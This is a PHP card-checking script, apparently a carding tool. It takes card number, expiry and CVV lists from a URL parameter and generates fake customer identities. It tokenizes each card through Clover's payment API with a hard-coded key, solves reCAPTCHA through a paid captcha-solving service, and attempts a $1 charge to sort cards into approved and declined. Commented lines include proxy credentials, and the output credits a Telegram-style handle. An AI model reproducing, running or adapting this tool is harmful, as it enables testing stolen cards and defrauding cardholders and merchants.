<?php
error_reporting(0);

function gerarCookies() {
    $cookieDir = __DIR__ . '/cookies/'; 

    
    mkdir($cookieDir, 0777, true);

   
    foreach (glob($cookieDir . 'cookie_*.txt') as $file) {
        unlink($file);
    }

    
    $cookieFile = $cookieDir . 'cookie_' . uniqid() . '.txt';
    touch($cookieFile);

    return $cookieFile; 
}

$cookieFile = gerarCookies();


function getStr($string, $start, $end) {
    $str = explode($start, $string);
    if (isset($str[1])) {
        $str = explode($end, $str[1]);
        return $str[0];
    }
    return false;
}

$lista = str_replace(array(" "), '/', $_GET['lista']);
$regex = str_replace(array(':', ";", "|", ",", "=>", "-", " ", '/', '|||'), "|", $lista);

if (!preg_match("/[0-9]{15,16}\|[0-9]{2}\|[0-9]{2,4}\|[0-9]{3,4}/", $regex, $lista)) {
    die('<span class="badge badge-danger">Reprovada</span> ➔ <span class="badge badge-danger">Lista inválida...</span> ➔ <span class="badge badge-warning"></span><br>');
}

$lista = $lista[0];
$cc = explode("|", $lista)[0];
$mes = explode("|", $lista)[1];
$ano = explode("|", $lista)[2];
$cvv = explode("|", $lista)[3];

if (strlen($ano) == 4){

$anodoiss = substr($ano , 2);

} 


switch (substr($cc, 0, 1)) {
    case '4':
        $typecard2 = 'VISA';
        break;
    case '5':
        $typecard2 = 'MASTERCARD';
        break;
    case '2':
        $typecard2 = 'MASTERCARD';
        break;
    case '6':
        if (substr($cc, 0, 2) === '60') {
            $typecard2 = 'hipercard';
        } else {
            $typecard2 = 'DISCOVER';
        }
        break;
    case '3':
        $typecard2 = 'AMEX';
        break;
} 

$cc1 = substr($cc,0,6);

$cc4 = substr($cc,12,4);


switch ($mes) {
    case '01':$mes = '1';
        break;
    case '02':$mes = '2';
        break;
    case '03':$mes = '3';
        break;
    case '04':$mes = '4';
        break;
    case '05':$mes = '5';
        break;
    case '06':$mes = '6';
        break;
    case '07':$mes = '7';
        break;
    case '08':$mes = '8';
        break;
    case '09':$mes = '9';
        break;
    case '10':$mes = '10';
        break;
    case '11':$mes = '11';
        break;
    case '12':$mes = '12';
        break;
}

$time = time();
$json = file_get_contents("https://randomuser.me/api/?nat=us");
$data = json_decode($json, true);
$user = $data["results"][0];
$firstname = $user["name"]["first"];
$lastname = $user["name"]["last"];
$numero_aleatorio = mt_rand(100, 999);
$email = strtolower($firstname) . $numero_aleatorio . '@gmail.com';

function gerarcpf() {
    $cpf = [];
    for ($i = 0; $i < 9; $i++) {
        $cpf[] = rand(0, 9);
    }
    $cpf[] = calcularDigito($cpf, 10);
    $cpf[] = calcularDigito($cpf, 11);
    
    
    return sprintf('%d%d%d.%d%d%d.%d%d%d-%d%d', ...$cpf);
}

function calcularDigito($cpf, $pesoInicial) {
    $soma = 0;
    for ($i = 0; $i < count($cpf); $i++) {
        $soma += $cpf[$i] * ($pesoInicial - $i);
    }
    $resto = $soma % 11;
    return $resto < 2 ? 0 : 11 - $resto;
}

$cpff = gerarcpf();

$encrypted_card = file_get_contents('http://localhost:8761/?cc='.$cc.'');
$detailscloverr = file_get_contents('https://api.clover.com/v3/merchants/8RSTMG56JMT41/ecomm_payment_configs?developerAppUuid=QRCW4SGA5XMKE');
$recaptcha_settings = getStr($detailscloverr, '"recaptcha_settings" : "','"' , 1);
$parameter_spec = getStr($detailscloverr, '"parameter_spec" : "','"' , 1);
$finalccskk = substr($cc, 12);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://token.clover.com/v1/tokens');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'apikey: bc22012281f7c86f7aa9b5c865b718c0',
'content-type: application/json',
'origin: https://checkout.clover.com',
'referer: https://checkout.clover.com/',
'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36',
'x-clover-client-type: HOSTED_IFRAME',
]);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieFile);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookieFile);
// curl_setopt($ch, CURLOPT_POSTFIELDS, '{"card":{"encrypted_pan":"'.$encrypted_card.'","exp_month":"'.$mes.'","exp_year":"'.$anodoiss.'","cvv":"'.$cvv.'","first6":"'.$cc1.'","last4":"'.$finalccskk.'","brand":"MC","address_zip":"10080","name":"casa csa"},"recaptcha_request_data":{"parameter_spec":"'.$parameter_spec.'","recaptcha_settings":"'.$recaptcha_settings.'","recaptcha_token":"'.$captcharesponsee.'"}}');
curl_setopt($ch, CURLOPT_POSTFIELDS, '{"card":{"encrypted_pan":"'.$encrypted_card.'","exp_month":"'.$mes.'","exp_year":"'.$anodoiss.'","cvv":"'.$cvv.'","first6":"'.$cc1.'","last4":"'.$finalccskk.'","brand":"MC","address_zip":"10080"}}');
$clover = curl_exec($ch);

$id = getStr($clover, '"id": "','"');

// curl_setopt($ch, CURLOPT_PROXY, 'na.43ffbc799da80117.abcproxy.vip:4950');
// curl_setopt($ch, CURLOPT_PROXYUSERPWD, 'Pt2T5GQHc5-zone-star-region-US:83321778');

// $captcharesponsee = file_get_contents('http://localhost/chk/capmonster-v2.php?website_url=https://www.clover.com/invoicingcheckoutservice/v1/paywidgets/773b0fc4-0cfe-4df0-91e5-091888a78877/pay&website_key=6LcvpW0nAAAAAMdjeor9kycixdFzk33K1G_hmOM_');
// $json = json_decode($captcharesponsee);
// $captcharesponsee = $json->gRecaptchaResponse;

include("anticaptcha.php");
include("recaptchaV2proxyless.php");

$api = new RecaptchaV2Proxyless();
$api->setVerboseMode(false);
$api->setKey("aaaf9912b20eda3c715464bc336b35e7");
$api->setWebsiteURL("https://www.clover.com/pay-widgets/773b0fc4-0cfe-4df0-91e5-091888a78877");
$api->setWebsiteKey("6LfKcj4dAAAAAHZL0JDBy3T9PNQ7XMyzjg09X4Y-");
$api->setSoftId(0);

if (!$api->createTask()) {
    $api->debout("API v2 send failed - ".$api->getErrorMessage(), "red");
    return false;
}

$taskId = $api->getTaskId();

if (!$api->waitForResult(300)) {
    "could not solve captcha\n";
    $api->getErrorMessage()."\n";
} else {

echo $captcharesponsee = $api->getTaskSolution();

}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://www.clover.com/invoicingcheckoutservice/v1/paywidgets/773b0fc4-0cfe-4df0-91e5-091888a78877/pay');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'content-type: application/json',
'origin: https://www.clover.com',
'referer: https://www.clover.com/pay-widgets/773b0fc4-0cfe-4df0-91e5-091888a78877',
]);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieFile);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookieFile);
// curl_setopt($ch, CURLOPT_PROXY, 'na.43ffbc799da80117.abcproxy.vip:4950');
// curl_setopt($ch, CURLOPT_PROXYUSERPWD, 'Pt2T5GQHc5-zone-star-region-US:83321778');
curl_setopt($ch, CURLOPT_POSTFIELDS, '{"source":"clv_1TSTScUKkkT7z41BbyjxxB6h","sourceType":"CARD","amount":1,"orderNote":"","payWidgetAdditionalDetails":{"customer":{"firstName":"CELSO","lastName":"BERGAMO","phoneNumber":"3132551515","email":"abuse@pladixmirror.com","address":{"address1":"","address2":"","state":"","city":"","zip":"","country":"US"},"customerMetaData":{"businessName":""}}},"recaptchaToken":"'.$captcharesponsee.'"}');
echo $clover = curl_exec($ch);

$msg = getStr($clover, '","message":"','"');
$declincod = getStr($clover, '"declineCode":"','"' , 1);

// {"message":"402 Payment Required","error":{"code":"card_declined","message":"DECLINED-XXX","charge":"","declineCode":"issuer_declined"}}

curl_close($ch);

if(strpos($clover, 'CVV2 DECLINED')){

die('<span class="badge badge-success">Aprovada</span> ➔ <span class="badge badge-light">'.$lista.' '.$infobin.'</span> ➔ <span class="badge badge-success">'.$msg.'</span> ➔ <span class="badge badge-warning">@PladixCentralChat</span><br>');
    
}elseif(strpos($clover, '"message":"402 Payment Required"')) {

die('<span class="badge badge-danger">Reprovada</span> ➔ <span class="badge badge-light">'.$lista.' '.$infobin.'</span> ➔ <span class="badge badge-danger">'.$msg.'</span> ➔ <span class="badge badge-warning">@PladixCentralChat</span><br>');

}
else{

die('<span class="badge badge-danger">Reprovada</span> ➔ <span class="badge badge-light">'.$lista.' '.$infobin.'</span> ➔ <span class="badge badge-danger">'.$resp.'</span> ➔ <span class="badge badge-warning">@PladixCentralChat</span><br>');

}

?>